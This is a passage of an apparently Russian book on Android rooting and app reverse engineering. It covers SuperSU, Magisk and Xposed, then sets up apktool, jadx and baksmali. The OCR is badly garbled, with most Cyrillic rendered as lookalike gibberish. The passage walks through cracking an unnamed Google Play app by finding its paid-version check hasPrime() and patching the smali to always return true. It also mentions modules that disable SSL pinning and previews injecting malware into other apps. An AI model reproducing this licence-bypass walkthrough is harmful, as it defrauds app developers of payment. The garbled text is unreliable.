noBeJeHUs cMmapToHa, MO3BOJIAET YAANATh MPENYCTAHOBJIEHHBIE MPHIOKEHHS, H3Me-
HATb CHCTEMHbIE HACTPOMKH M yCTaHaBIHBaTh TBHKH Xposed. A KaCTOMHbIE MPOLIHBKH
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OTKpBlBalOT MOJIb30BATEIKO HEAOCTYITHBIE B CTaHﬂapTHOFl MPpOLIHBKE cmap’rd)ona BO3-
MO>XHOCTH H HaCTPOﬁKH.

IMonk3oBarenu paHHUX BepcHidi Android 0ObIYHO MoTyyanu npaea root ¢ UCNOJIb30BaHHEM
KaKoi-TH60 ysa3BUMOCTH B cHcTeMe Oe3omnacHocTH Android WM OZHOrO M3 CHCTEMHBIX
NPUJIOXKEHHH, YCTaHOBJIEHHBIX Mpou3BoauTeneM. HMcnons3oBaHue ysA3BMMOCTEH MO3BO-
JIAJIO MPUIOXKEHHIO «BBIPBAaThCA» M3 MECOYHHLIBI) M MOJMYYHTh NMpaBa CHCTEMHOrO Mpo-
iecca yepes 3cKaJlaLMio NPHUBHIIETHH.

Yrto6bl NPUIIOXKEHHS MOTJIH MOJYYHTh JOCTYT root, B CHCTEME JOJKHO OBITh Kak MHHH-
MYM [1Ba KOMIIOHEHTa — WCMOJIHAEMBIH ¢aiin su, B Linux-cucreMax ucrons3yeMsid ams
BBIMOJTHEHHS KOMaH[I C NMpaBaMH root, a Takxe NMpHJIOKeHHe A1 06paboTku 3anpocoB Ha
root-IOCTyN M BBIBOAA COOTBETCTBYIOLLETO YBEAOMIIEHHS Ha 9KpaH (pHc. 5.3).

YR or W g47%1558

Superuser request:

Wakelock Detector Free...

rage, potenti

[[] Askagain: 15 min..

DENY GRANT

Pwuc. 5.3. OkHo 3anpoca npas root

PaHHHE TpUIOXEHWs ANS pyTHHra pa3sMelliajli 3TH KOMIIOHEHTHI B pa3jiene system:
OMHapHUK su B /system/bin (MJM /system/xbin), a npuiaoxeHdHe (Superuser.apk wim
SuperSU.apk) — B /system/app. Ho 6b1a B 3TOM noaxoae mpobnema: o6HOBIEeHHE Mnpo-
IIMBKH JIWOO CTHpano HX, MO0 MPOCTO He YCTaHaBIMBAIOCH (€M peub 06 HHKpEMEH-
TaJIbHOM 0GHOB/IEHHH, KOTOpOoe nosiBuiock B Android 5.0).

Yrobel peunts 3Ty npobnemy, a Tatoke oboitH SELinux, mewaromuit pyTuHry, paspa-
6otunk root-uHctpymenta SuperSU Chainfire pelunn pa3smelnats 3TH KOMIOHEHTBI Ha
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RAM-aucke, KOTOpBIi 3arpyaercst B ONEpaTHBHYIO MamsaTh cpa3dy nocie sapa. Okasa-
JI0Ch, YTO €CJIK BHEAPHUTH su MpsiMO B RAM-IHCK, TO MOXXKHO OJHHUM MaxoM O0O#TH Bce
3allMTHEIE MeXaHH3Mbl Android u, kpome Toro, obecneunts HopManbHyto paboty OTA.
Takoii cnoco® pyTHHra nonyuyun Ha3BaHue systemless root (HecHCTEMHBIH root) H cTam
ocHOBHbIM B SuperSU s ycTpoiicTs, padotarowmux Ha Android Marshmallow 1 Nougat.

C BbixogoM Android 7.0 cutyauus ycnoxHunack. DyHKLUMS NOBEpEHHOH 3arpy3ku
(Verified Boot) crana o6s3atensHoi. CTapblii METOA MOMYyYEHHs root uepe3 dcKanalHio
npusuiernii B Android 7 nepecran paborarts. [axe ecnu cMapTdoH ynaBanoch B3JO-
MaTh, HUCIMOJb3Ys IKCIUIOHT, YCTPOHCTBO MOCJIE YCTAaHOBKH root MpoCTO OTKa3bIBaJOCh
3arpy»arbcs.

OcTancs TONbKO OAMH HaAEXHbI cnocod — pa3bioKHpOBaTh 3arpy34yvk LITATHBIMH
cpeacTBaMH W yctaHoBUTh SuperSU wnu Magisk. B 3Tom ciiyyae 3arpy3uk mpocTo oT-
KnouuT Mexanusm Verified Boot.

SuperSU

SuperSU — naneko He mepBoe MPHJIOXKEHHE AN MOJYyYEHHUS U YMpaBleHHs NpaBaMH
cynepnonb3oBarens. Camo Ha3BaHue SuperSU — akpoHum ot Super Superuser; oHO
npuiio Ha cMmeHy mnpuinoxkenuto  Superuser (https://github.com/koush/Superuser)
B nanekom 2013 rony.

Iozxe paspaboruuk Chainfire, kotopeiii 3aHuMancs nomaepxkkod SuperSU, nponan
NpoeKT HeBeposATHO «MyTHOH» kommaHud Coding Code Mobile Technology LLC
(CCMT), o koTOpO#i U3BECTHO UyThb OOJIbILIE, YEM HHYETO.

Komnanus, kotopoii Teneps npuHamiexxuT SuperSU, sBiseTcs «3apericTpHpOBaHHBIM
areHToM» B aMepHKaHCKOM witate JlenaB3p, KOTOPbIH 4acTO BHIOMPAlOT MHOCTPaHHBIE
GbHupMBI 101 perucTpaluu Hekoero noxo6us odiopa. HMicronszoBats SuperSU ceroaus
MOXXET ObITh HE TOJIBKO OMAacHO, HO HellenecooOpa3Ho. ['opazno Gonee coBMecTHMOE
¢ coBpeMeHHbIMH BepcusMH Android pewenne — 310 Magisk. [laHHoe peueHue He
TOJIKO TpPENOCTABNISET root-IOCTYMN, HO M MO3BOJSIET YCTaHaBIMBaThb MOOH(HKALH
Android B pexxumMe systemless.

Magisk

Kak u SuperSU, Magisk — 3710 yTHnuTa, KOTOpas MaTyuT pasfen boot VIS MOJNyUYEHHS
root B pexxume systemless. Kpome Toro, Magisk no3ponsier ycraHaBnMBaTh CHCTEMHBIE
MOJIbI, 3aMyCKaTh CKPUNTHI Ha Pa3IMYHBIX 3Tarnax MOHTHPOBAHHS WU MOAMEHATH (aiibl
(HanpuMep, build.prop) €lle JO MOHTHPOBaHHs pa3zena /data, MO3BOJISET CKPbIBATh Ha-
auure root u Xposed OT pa3nMyHBIX NPWIOXKEHWI W cepBuUcoB Thma Google Pay,
Samsung Pay, C6epbank OnnaiiH, a Takxke crokoiHo nonyyate OTA-oOHOBIEHHS CTO-
KOBBIX MPOIIHBOK.

CeronHs Migisk — 310 hakTHUeCKH eqUHCTBEHHBIH OCTaBIUWICA BapHaHT MOJTyuYEHHS
npas root Ha yctpoiictBe ¢ OC Android.
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Moaugpukaumm

Android — omnepaluMoHHas CHCTEMa C OTKPBITHIM HCXOIHBIM KOJOM. A 3TO 3HAYHT, YTO
J1000# JKenallWKi MOXKET CKayaTb MCXOJHUKH CHCTEMBbl W H3MEHHTH €€ TaK, Kak eMy
3abnaropaccyauTcsa. OTHM C yIOBOJBCTBHEM MOJIB3YIOTCS MPOU3BOIMTENIH CMapT(OHOB,
4TOOBI CO3AaTh CBOM COOCTBEHHBIE «yHHKaJbHBIE» NMPOIUMWBKU Ha 6a3e Android, a Tarke
SHTY3HACThl, 3aHUMAIOLUMECS Pa3BUTHEM TaK Ha3bIBa€MbIX KACTOMHBIX MPOLIMBOK, TAKHX
kak LineageOS.

Ho ectb cnoco6 MoaudHLMpoBaTh MoBefeHHe CHCTEMBbI 6e3 HEOOXOOMMOCTH CO3JaHHs
cobcTBeHHOH nmpowMBkH Ha 6a3ze Android. 3to Xposed Framwork, koTopblii BHeapATCS
B CHCTEMY H M03BOJISIET H3MEHHTh €€ YaCTH WJIH YaCTH CTOPOHHHUX NPHIOKEHHH.

Xposed npencrasnser cob6oil MOAHGHLIMPOBaHHYIO BEPCHIO CEPBHCA app process, OTBET-
CTBEHHOTO 3a 3alycK BHUPTyaJabHOH MallHHbl. MoAHGHLHMPOBaHHBIHA app process CHayana
3arpy>kaeT B naMAThb ¢aii XposedBridge.jar, coaepKalUMi MepexBaTyUK Java-MeToIOB,
W JIMLUb [OCJIE HEero Bce ocTanbHble Java-knacchbl. [lepexBaTyMk BBICTYMaeT B KayecTBe
nocpeaHHKa Ais JOOBIX BBI3OBOB Java-MeTONOB, MHHLMHPOBAHHBIX OPHUTHHATbHBIM
NPHJIOKEHHEM H B Ciyyae HEOOXOIUMOCTH NMepeHanpaBseT UxX Kiaccy-o0paboTuuKy.

[Tocnennuii kak pa3 H 3aHUMAETCA TEM, YTO H3MEHAET MOBEACHHE CHCTEMBI. Hanpumep,
MPHJIOXKEHHUS 4YaCTO HCMOJIB3YKOT METOHA getColor KJlIacCa android.content.res.Resources
U NOJYYEHHS LBETOB, OMNPEACJICHHBIX B TEME IPHIIOKEHHS. Ecnu KJ'IaCC-06p36OT'-lHK
MNEPEXBATHT 3TOT METOA H BEPHET I[perﬁ KO LBETAa, um‘epcbeﬁc MPHITOXXEHHA H3MEHHT-
Ci. Monuquauuu MOryT ObITh U OoJiee CJIOJKHBIMH, BIUIOTB OO0 l‘J'ly60KOI‘0 H3MEHECHHA
NMOBEOCHHUA H (l)yHKLlHOHaJ'IbHOCTH [IPHJIOKEHHA .

B kommiekte Xposed rotoBsix KjiaccoB-oOpabOTYMKOB HET, HO OH MO3BOJISET JIOOOMY
pa3paboT4HKy pacrpocTpaHATh UX B BUIe oObIYHBIX NakeToB APK, koTopblie mosib3oBa-
TeJIb MOXKET YCTAHOBHTh M aKTHBHPOBATh C MOMOLUBIO NpuioxeHus Xposed Manager.
Jpyrumu cnoBamH, ¢ nomolusto Xposed MOXHO ycTaHaBIMBaTh U YAaliaTh MOAHGHKa-
uuu Android, kak oObIYHBIE PUIIOXKEHHS, O€3 HEOOXOAUMOCTH YCTaHABJIMBATh MOAHGH-
LIMPOBaHHYIO MPOLLUHBKY.

B tepmunonorun Xposed knaccbl-o6paboTyHMkH HasbiBaloTCs Moayiasamud. MX MoxHO
ckayatb, ucrionb3ys Xposed Installer (https://forum.xda-developers.com/showthread.
php?t=3034811). B peno3utopun ecTh MpPaKTHYECKH BCE, YTO MOXET MOHAAOOMTHCA,
HayMHas OT TBUKOB HHTep(efica U 3akaH4YHBas MOAYIAMH, oTKIoYaroluMu SSL Pinning
H 3ampeT Ha CHATHE CKPUHILOTA. B cnenyrowmux yacTax KHHTH Mbl pACCMOTPHM HEKOTO-
pble U3 3THX MOAYyJeH.
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FrMMABA 6

OcHOBbLI B3NTIOMG

Hu onmH pasroBop o B3noMe W MoAHGHKALMH NPHIOKEHHH He ob6xomutcs 6e3 Takux
CJIOB, Kak «au3acceMbnepy», «aebarrepy», «bopMar HCIIONHAEMBIX GaiioB)» U Be3ecyLiei
IDA Pro. Oagnako B ciny4yae ¢ Android Bce HaMHOro mpole, ¥ 34ech Ul BCKPHITHA U
Jaxce BHEIPEHH KOJ1a B MPUJIOXKEHHE COBCEM He 0053aTeNIbHO HCIIONb30BaTh BCE 3TH HH-
cTpyMeHThl. Ko MOXHO Jierko aekoMmuinpoBaTh oOpaTtHO B Java u MoaudHLMPOBaTh,
HCIIOJIB3Y3 Mapy NPOCTHIX HHCTPYMEHTOB H TEKCTOBBIH peJakTop.

ME1 paccMOTpUM MpoLiecc BCKPBITHA U MoaudHkauuu npuinoxeHud 1is Android. Ota
r1aBa — BBOJHasd, IIO3TOMY HHKAaKOTO XapaKopa, Mbl pa3bepeMcs B YCTPOHCTBE MAaKETOB
APK, Hayunmcs pa36bupare APK Ha yacTH, 1eKOMIIHIMPOBATh €ro KoA, BHOCHTh IPABKH
H cobupars 06paTHO, a B KaueCTBE MPHMEPa B3JIOMAEM OJHO MOMYJAPHOE MPHIOKEHHE
u3 Google Play.

Cnenyromas rinapa OyneT LETMKOM MOCBAIIEHAa BHEAPEHHIO 03KIO0pa WM BHpyca B 4y-
JKOe MPUIIOXKEHHE. ITO YK€ He NMPOCTO NMpaBka HECKOJBbKHX CTPOK, a rirybokas Moaudu-
kauus. Hakonel, Mbl paccMoTpumM Metonasl o6dyckanun u ee ooxona. Bee 6onbiue pas-
paboOTYMKOB HCIOB3YIOT HETPHBHANBHYIO 00(QycKalHio, 4TOOBI 3aMyTaTh peBEpCEPOB.
MBI paciyTaeM UX KOJ H, ONATH XK€, BHECEM IPABKH B IPHIIOKEHHE.

OrtnensHO Gyner paccMOTpeH MpoLEecC AWHAMHYECKOTO aHalH3a MPHIOKEHHS C IMOMO-
IIBIO OTJIAYMKA M CIIOCOOBI BHEIPEHH KO/Ia B CTOPOHHHE TPHIIOXKEHHUS C MOMOLIBIO HC-
tpymenTa Frida.

B 3toi yactu kHUrM aBTOp HasbiBaeT dusaccembnuposaHueM npouecc npeobpasoBaHus
6anT-koga B HM3KOypoBHeBbI koA smali. K knaccuyeckoMy ausacceMbnupoBaHuio B Ma-
LUMHHBIE MHCTPYKLUN 3TOT TEPMUH HE UMEET OTHOLLIEHUS!.

Henaem nnatHoe 6ecnnaTHLIM

B 3TO# 4acTH KHUIH MBI pACCMOTPHM CJIEAYIOLIHE TEMBI:
O Hacrpoiika cpeasl peBepcepa;
O dopwmar ¢aiinoe APK;
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O JexoMnuasTOphl U au3acceMbnepsl;

O Moaudukauus Koaa NpHIOKEHHS.

CHapsxaemcsa

Jlns BBIMOMHEHHWS OMWCAHHBIX JAajnee MpOLEAyp HaM MOHAJOOMTCA pAld MHCTPYMEHTOB,
M rJaBHbIH MHCTpyMeHT — 370 Linux. /la, MHOrHe M3 HY>XHBIX MPHIOXKEHHH MOTyT
pabortats U B Windows, Ho ucniosib3oBaTh Linux Oynet HamHoro ynobHee.

[Tocne uHcTannauuu Linux Ccpa3y yCTaHaBJIHBa€M CpEACTBA pa3pa60’rku H BHPTYaJIbHYHIO
MalWHHY Java. B Ubuntu 310 MOXHO clieJlaTh ¢ MOMOLIbIO OJHOM KOMaHIbI:

$ sudo apt-get install openjdk-7-jdk openjdk-8-jdk

Taioke Ham noHano6uTes cpena pazpaborku Android Studio, a TouHee, HECKOJIBKO UHCT-
PYMEHTOB, KOTOpBIE BXOAAT B €€ cocTaB. J[yi1 Havana ycTaHOBMM HeOOXOAHMBIE 3aBHCH-
MOCTH:

$ sudo apt-get install libc6:1386 libncurses5:1386 libstdc++6:1386 1ib32z1 libbz2-
1.0:1386

Hanee ckaunBaemc caiita https://developer.android.com/studio u pacnakoBbiBaeM
apxuB ¢ Android Studio. B panbHeifiwem s Oyny npeamosiarath, YTO OH YCTaHOBJIEH
B KaTaJIor ~/Android/android-studio BHYTPH JOMALUHEro Karajaora nojib30BaTens.

VcranaBnuBaem ADB (Android Debug Bridge):
$ sudo apt-get install adb

Takxke HaM Hy>XHbl YeTblpe MHCTPYMEHTA AJ pPacfakOBKH M AEKOMIMWIALHMH MPHIIO-
)KEHHI:

3 Apktool (https://ibotpeaches.github.io/Apktool/) — wBeiiLapckuii apMeHcKkHii HOX
JUIS pacnakoBKH H 3aMaKkOBKH MPHI0KEHHH;

O Jadx (https://github.com/skylot/jadx) — nexoMnunsatop 6aiit-kona Dalvik B kon Ha
Java;

O Backsmali (https://github.com/JesusFreke/smali) — nu3zaccembnep kona Dalvik (He
nyraiTtech, ¢ HaCTOALMM acceMOIEpOM OH MMEET Majlo 06LLero);

3 Sign (https://github.com/appium/sign) — yTunuTa ans NOANMCH NaKeTOB.

IIJ'lﬂ y}IOGCTBa co3JadMM B JIoMalliHEM KaTtaJjiore noakarajgor Android U ckayaem Bce MH-
CTPYMEHTBI B HETO:

$ cd ~

$ mkdir ~/Android && cd ~/Android

wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool 2.7.0.jar
wget https://github.com/skylot/jadx/releases/download/vl.4.6/jadx-1.4.6.zip
wget https://github.com/appium/sign/releases/download/1.0/sign-1.0.jar
wget https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.5.2.jar
mkdir jadx && cd jadx

v v v v v n

unzip ../jadx-1.4.6.zip
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Jlo6aBuM B koHel aiinia ~/.bashrc ClIeAyIOLLHE CTPOKH:

alias apktool='java -jar ~/Android/apktool 2.7.0.jar’

alias jadx-gui='~/Android/jadx/bin/jadx-qui'

alias baksmali='java -jar ~/Android/baksmali-2.5.2.jar’

alias sign='java -jar ~/Android/sign.jar'

alias javac='javac -classpath /home/jlm/Android/android-sdk-linux/platforms/
android-33/android. jar'

alias dx='/home/jlm/Android/android-sdk-linux/build-tools/31.0.0/dx"

OHH HYXHBI U1 TOrO, 4TOOBl BMECTO JTMHHBIX M HEyJOOHBIX KOMaHI BpOJE java -jar
~/Android/sign.jar MOXHO 6bLTO HabpaTh MPOCTO sign.

Bckpeisaem noponertHoro

Tenepp HaM HyXHO HaAWTH NpPHIOXKEHHE, KOTOpPOE, BO-NMEPBBIX, HETPYOHO pa3obpaTb,
a BO-BTOPBIX, HECET KaKyO-TO MoJb3y W IOBOJILHO M3BECTHO. SI He Oyny roBOpHUTH €ro
Ha3BaHHWe, 4ToObl He co3aaBaTh nNpobaem aBropy. Ckaxky JHLIb, YTO 3TO AOCTATOYHO M3-
BECTHOE NpuoxkeHHe, noctynHoe B Google Play.

Buauane npoiinemcs no APK 6e3 ucrnonb3oBaHHs creuuanbHbIX HHCTpyMeHTOB. Jlns
3TOro pa3nodynem nakeT NpUIOKEHHA. DTO MOXKHO CAeaTh AByMs crocobamHu:
1. U3Bneus nakeT U3 yctpoiicTea ¢ nomoiusio ADB:

$ adb shell pm path uMs.nakera.npunoxenus

OTa KOMaHAa MOKaXeT MyTh A0 MakeTa npuiokeHHs. CkayaTb €ro MOXHO TakoH
KOMaHI0M:
$ adb pull nyrs/no/nakera

2. Hcnonw3ys cepsuc APKPure (https://apkpure.com/), OTKpbIBa€M CTpaHHLY MPHIIO-
xeHus B Play Store, konupyeM URL W3 agpecHoO# cTpoKkH M BCTaBiseM B CTPOKY
noucka Ha APKPure. [lanee Haxxumaem kHonky Download APK u >kneM okoHuaHus
3arpysKH.

Jns ynobcTBa nepeMMeHyeM MakeT B application. apk:

# cd ~/Downloads
# mv Application_apkpure.com.apk application.apk

Pa3zapxuBHpyeM ¢ noMouiblO unzip:

# mkdir application; cd application
# unzip application.apk

Ja, APK — 3710 06bI1uHBIi apxuB ZIP, HO TeM He MeHee OH UMEET YETKYIO CTPYKTYpY:

O META-INF — karanor, cogepxatudid ¢alnbl MANIFEST.MF, CERT.MF U CERT.RSA. [lep-
Bbl€ 1Ba — CMHCOK BCeX (aiI0B MakeTa U UX KOHTPOJIbHBIX CYMM, MOCJEIHHH cOo-
JEPXHT OTKPBITBIH K104 pa3paboTyMKa U CO3AaHHYIO C MOMOLIBIO 3aKPHITOrO Kiloya
uudpoByro nmoanucek ¢aina CERT.MF. DTH JaHHbIE HYXHBbI, YTOOBI MPH YCTaHOBKE
MakeTa CHCTEMa CMOrJia BBIACHHTB, YTO MakeT He ObUT MOAMGHLIMPOBAH M NEHCTBH-
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TEJIBHO CO31aH €ro aBTOpOM. 3TO BaXKHO, T. K. 6€3 BO3MOXHOCTH MOAENaTh l.lH(l)pO-
BYIO NMNOAMMCH MNaKeTa (Mﬂ 3TOr0 HY>XXCEH 3al(pblTblﬁ !UDO‘{) MOIlH¢Hl.lHPOBaHHblﬁ naker
NPpHAETCA NOANHCHIBATh APYTrHM KIIIOYOM.

O res — pecypchl NpHIOXKeHHA. 31eCh HAXOAATCA MKOHKa (mipmap), cTpokH (values),
n3obpaxenus (drawable), a Taloke onucanus uHtepderica npunoxenus (layout). Bee
HX MOXXHO MOAH(HLMPOBaTh, YTOObI H3MEHHTh BHEIUHHI BHI npunoxeHus. [Ipasna,
¢aiinel xml npuaeTcsa cHayana «pa3karb» — UIA YITy4IUEHHS NMPOU3BOAHTENBHOCTH
OHH XpaHATCcA B OUHapHOM ¢opMare.

O classes.dex — xon npunoxeHus B popme OaiiT-kona BUpTYanbHO#i MawuHbl Dalvik.
IIpunoXxeHUs MOryT COAepXKaTh OAMH WM HECKOJIBKO TakHX (aiIoB B 3aBUCHMOCTH
ot obwero konuyectsa MeromoB. OmuH ¢aitn Dex MoxeT BrIo4aTh He Gonblue
65,536 meTona.

O AndroidManifest.xml — MaHudecT NpuIOKEHHA, ONMMCHIBAIOLIMA €ro CTPYKTYpY,
BKJIIOYasAs aKTHBHOCTH, CEPBHChI, 0OpabOTYHKH MHTEHTOB M MOJHOMOYMA. OnATh Xe,
B ¢popmare 6uHapHoro XML.

Taioke makeT MOXeT COAepXaTh ApYTHe KaTalord, HamnpUMep assets (MoOble ¢aiibl,
BKJIIOYEHHBIE pa3paboTYMKOM, B JaHHOM ciiyyae — wWpHGTHl ¥ 6a3a qaHHBIX) U 1lib (Ha-
THBHbIE OHOJIHOTEKH, Co3aHHbIe ¢ Hcnonb3oBaHHeM Android NDK).

Mayuaem ko

Camo coboit pazymeeTcs, NPOCTO pa3apXHMBHPOBATh MaKeT HeAOCTaTo4HO. UTo6bl pa3o-
6patbca B paboTe npunokeHHs, HEOOXOAMMO AEKOMIHIMPOBATh (aii classes.dex. J{ns
3TOro Msl Bocnosib3yeMcsa jadx-gui. 3amyckaeM, BbIOHpaeM application.apk — H BHIUM
ClieBa CIUCOK MakeToB java, BKIOYeHHbIX B APK. B naHHOM ciiyyae 370 ciiemyioLiye
naxkets! (puc. 6.1):

O android.support — o¢uunanbHas 6Gubnuoreka Google, peanusyiomas noaIepXKy
¢yuxkumii HoBbIX Bepcuii Android B crapeix (Hanpumep, utoObl nmomyuyuts Material
Design B Android 4.1);

Eilg )[iew_ _Navlga_tipn Help

LRI IBE FAales B &
< »3 asap.apk
< & Source code
< @ android.support
b & design
b @ v7
v @ com
b B
# devspark.robototextview
# google.android.gms
# mikhaellopez.hfrecyclerview
# nispok.snackbar
# p_v.fliexiblecalendar
b @ de.hdodenhof.circleimageview
b (&2 Resources

v Vvwww

Puc. 6.1. Naketw Java
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O com.google.android.gms — Google Mobile Services;
O com.nispok.snakbar — peanusauus GUI-anemenra snakbar;
O HecKoONbKO APYrHX MaKeToB.

OcHOBHO# KOJ MPHJIOKEHUA OOBIYHO COINEPXKHMTCA B MaKeTe, UM KOTOPOro COBMaJaeT
C MMEHeM MaKeTa NpHiokeHHs. OTKpbIBaeM ero — M BHAUM GoJblue JecaTka KaTalnoro
M MHOXeCTBO HcxonHHMKoB Java. Hawa 3anaya — cenath NpHIOKEHHE «OTIa4EeHHBIMY,
He riaTta 3a Hero. Ho kak HaiTH HyxHbIH ¢aiin, peanusylommii npoBepky Ha omary?
Cxopee Bcero, oH Oyner B ¢Qaiine, conepkauieM B uMeHH cioBo «billing». INpoiinem-
CA MO HCXOAHMKAaM B TMOMCKax HYXHOro HaMm (aiina M HaTelkaeMcs Ha (aiin
BaseBillingFragment B MoJkaTasore (makere) fragments (puc. 6.2).

Elte View Navigation Heip
=8 iR i%lvt.l'ilfl

3 QAppsFraqmanlssLombdaiB :

» @ AppsFragment$$Lambda$d MBWHM L] : . =
» © AppsFragment$$ViewBinder ’Flnd; hasPrime [ Previous § Next [ Mark AR Regex 1 Match Caser™ Whole v
» @ AppsFragment$1$$Lambda$l Y 7 o

» QAppsFragmentsAppsAdapterS\new
» @ AppsFragment $AppsAdapter$View!
» & AppsFragment Membersiniector

}

' | 1 public void onResume() {
[ ‘ super.onResume();
» @ BaseBifingFragment $$L ambda$ 1 ‘ 1"*1 If (this.mBllingProcessor.Isinkialized()) {
» @ BaseBliingFragment $$Lambda$2 || | 162 updatePurchasesAsync();
+ QBaseBllingFragment$$Lambda$3 Al }
' Q BaseBIIIIanraqmem$$Lambda$4 }
» @ BaseBllingFragment$$Lambda$5 |
G| protected boolean hasPrime(} {
7 return this.mHasPrime;

e

» © BaseBilingFragment_Membersinjec B
» G BaseRecyclerViewFragment 3 % ‘ 3
3 QBaseRecycierMewFraqmentsSLam ‘- t }
» Q BaseRecyclerViewFragment$$Lam i

» @ BaseRecyclerViewFragment$$Lamitd| 172 protected vold showUpgradeDialog() {

186
1

= reuene

» @ BaseRecyclerViewFragment$$Lam il 173 If {this. mCholces == null) { ¥
b @ BaseRecyclerViewFragment$$Lam i 17 Toast.mekeText(getActivity(}, R.string.upgrade_optlons_missing, 1).show(}; !
» @ BaseRecyclerViewFragment$s$Larni |l 157 return; & 7 i
» @ BaseRecyclerViewFragment$$Larn } {
» @ BaseRecyclerViewFragment$$Larn il 176 FragmentTransaction ft = getFragmentManager().beginTransaction(); A
rqQ BaseR:cycleMngragmentsSLmq o 177 Fragment prev = getFragmentManager().findFragmentByTag{UPGRADE_DIALOG_TAG); |
» © BaseRecyclerViewFragment$$View 178 if (prev != null) { -
» @ BaseRecycierViewFragment_Memti 175 f remove(prev); !‘
» @ BaseThemedFragment } i
» @BaseThemedFragment$$Lambda$ill 181  .addToBackStackinull); ‘
» @ BaseThemedFragment$$Lambda$it] 152 UpgradeDialog dialog = new UpgradeDialog(); I
» @ BaseThemedFragment$$Lambda$ 184 Bundle args = new Bundle(); "
» @ BaseThemedFragment | Membersici§ 185 args.putSerializable (UpgradeDlalog. EXTRA UPGRADE_CHOICES, this.mChoices); I

» galankagment B  10€ dlalog.setArguments(args); I

» © CalendarFragment I8 108 dlalog.setTargetFragment (this, UPGRADE_DIALOG_REQUEST_CODE); I

® @ Calendarfragment$$Lambdasl Bl 159 dlalog.show(ft, UPGRADE_DIALOG_TAG); |

» @ CalendarFragment$$Lambda$10 | }
b Q CalendarFragmen($$La
3 o 27

Puc. 6.2. dann BaseBillingFragment

3T0 O4eHb MpocToH Kiacc Java, B KOTOPOM €CTh HHTEPECHBIN METON:
protected boolean hasPrime() {

return this.mHasPrime;

}

Bce, uto OH nenaer, — BO3BpallaeT 3Ha4E€HHE MOJS mHasPrime, OMHAKO MHTEPECEH OH HE
3THM, @ CBOUM MMeHeM. [lelo B TOM, YTO IUIaTHas (TOYHee, OIUIa4YeHHas) BEpCHS MOJ-
OMBITHOrO MPHUJIOKEHUA Ha3biBaeTcA Prime, u oyeBMIOHO, YyTo MeTox hasPrime kak pa3 u
HY>XEH U1 POBEPKH OILIaThl MpHIoKeHHA. YToObI MOATBEPAUTE CBOIO OTazKy, COXpa-
HUM JexkomnunupoBaHHble ucxonHUKH (File — Save all) B kaTanor u nonpobyeM HalTH
B HHX BBI3OBBI hasPrime (), KaKk [TOKa3aHo Ha pHc. 6.3.

CoBnageHHit HEMHoOro, OCHOBHOM «IOJIb30BAaTEIb» hasPrime() — 3TO SettingsFragment,
T. €. HCXOJHHK, OTBEYalOLHii 32 PopMHpPOBaHHE OKHA HACTPOeK. Y4MTHIBasA, 4yTo Prime-
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BEPCHS OTJIHYAEeTCA OT OecrniaTHOH HMEHHO TeM, YTO B HeH pa30IOKHpOBaHbI JOMOJIHH-
TeNbHBIE MONA HAcTpPOeK, Yxke ceiiyac Mbl MoxeMm ObiTb Ha 90% yBepeHbl, 4TO
hasPrime () — HY>XHbIH HaM meToA. Ckopee Bcero, HMEHHO C €ro MOMOLUBIO MPHIIOKEHHE
BBIACHAET, KyrnieHa u Prime-Bepcua. Octanoch TONbKO YO€AHThCA B 3TOM OKOHYATeNb-
HO, MOZIMEHHB KOJI METO1a Ha CBOH.

A v jladlinux “/tmp/ jadx $ |

Puc. 6.3. Nouck Bei3oBoB hasPrime ()

BHocum npasku

Meron hasPrime () O4€Hb MPOCT, OH BO3BPALLAET 3HAYEHHE MOJIA mHasPrime, KOTOPOE HMe-
et Tin boolean. HeTpynHo npeanosioxkuTs, 4TO B Cilyyae, €Clid NMPHIOKEHHE OIUIaYeHo,
hasPrime () BEPHET true, HHaue BepHer false. Hama 3amauya — cnenarb Tak, 4To6Bl METO
BCeraa Bo3Bpallan true, Tak YTOObl OCTaIbHas YacTh MPHIOKEHHA «OyManay», YTO MpH-
JIOXKEHHE OMJ1aueHo, U pa36JIOKMpPOBaIa NONOJIHUTENbHbIE QYHKLIHH B OKHE HaCTPOEK.

K coxanenuro, caenars 310 € MOMOLUBIO NPAMOH NMPaBKH HCXOAHOTO KOA HE MOTy4YHTCH,
NpHIIOXKEHHE HENb3A CKOMMHIHpOBaTh o6paTHO. OIHAKO HMKTO HE 3anpeLlaeT qu3ac-
ceMbOnHpoBaTh KO, BHECTH NMPaBKH H cobpaTh ero obpaTHo. U kak pa3 3aeck HaM MoHa-
noburcs apktool. [Iuzaccembnupyem APK:

$ apktool d -r application.apk

B TEKYLIEM KaTaiore rnogBUTCA MOAKATAIOr application. OTI(pblBaeM cbaifm application/
smali/com/app/fragments/BaseBillingFragment.smali H HAXOAHM hasPrime, JCKJ1apaLHA MeE-
TOOAA 6yneT BBIIJIAACTH TaK:

smali |

.method protected hasPrime ()2
.locals 1

.prologue
.line 167
iget-boolean v0, p0, Lcom/app/fragments/BaseBillingFragment;->mHasPrime:Z

return v0
.end method

3TO 1 ecThb IlH3aCCCM6J'lHPOBaHHbIﬁ JIMCTHHT. B uenom 3aeck Bcé TPHBHAIbHO:

O .method protected hasPrime()Z — 0OBbABAAET protected-meTon, KOTOpblH BO3BpallaeT
3HaueHHe THna boolean (Z);
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O locals 1— FOBOPHT BHPTYalbHOH MallHHE, YTO METOJ MCIONb3yeT B CBoed pabore
OZIMH perucTp (B JaHHOM cliyyae oH OyZeT colepxaTh BO3BpallaeMoe 3HaY€HHe);

O .prologue H .line 167 — JAHPEKTHBbI, HEOOXOAUMEBIE I OTJIANKH, HA XOJ HCTIONIHEHHS
HE BJIMAIOT;

O iget-boolean v0, p0 ... — MOJy4YaeT 3HAUEHHeE MoJs THNa boolean U 3amUCHIBaeT B pe-
THCTP v0, PETHCTP p0 — 3TO HYJIEBO# NapaMeTp, OH BCerJa paBeH HMEHH Kiacca (this);

O return v0 — BO3BpaLlaeT 3HaYeHHe perucrpa v0;
O .end method — 3aKpbIBA€T TEJIO METOAA.

Tenepb MBI JO/DKHBI H3MEHHTD JAaHHBIA METOJ Tak, YTOOBI OH BO3Bpallan true He3aBHCH-
MO OT 3HA4Y€HHA MONA mHasPrime. MBI MOrIH OBI cHENaTh 3TO BpYYHYIO, HO MNPOLIE HAITH-
caTh HOBBIH MeTol Ha Java:

public class Test {
public boolean hasPrime() {

return true;

U1 nponycTuTh ero uepe3 KOMMUIATOp U Ausaccembnep. [{ns atoro HyxHa yrunura d8,
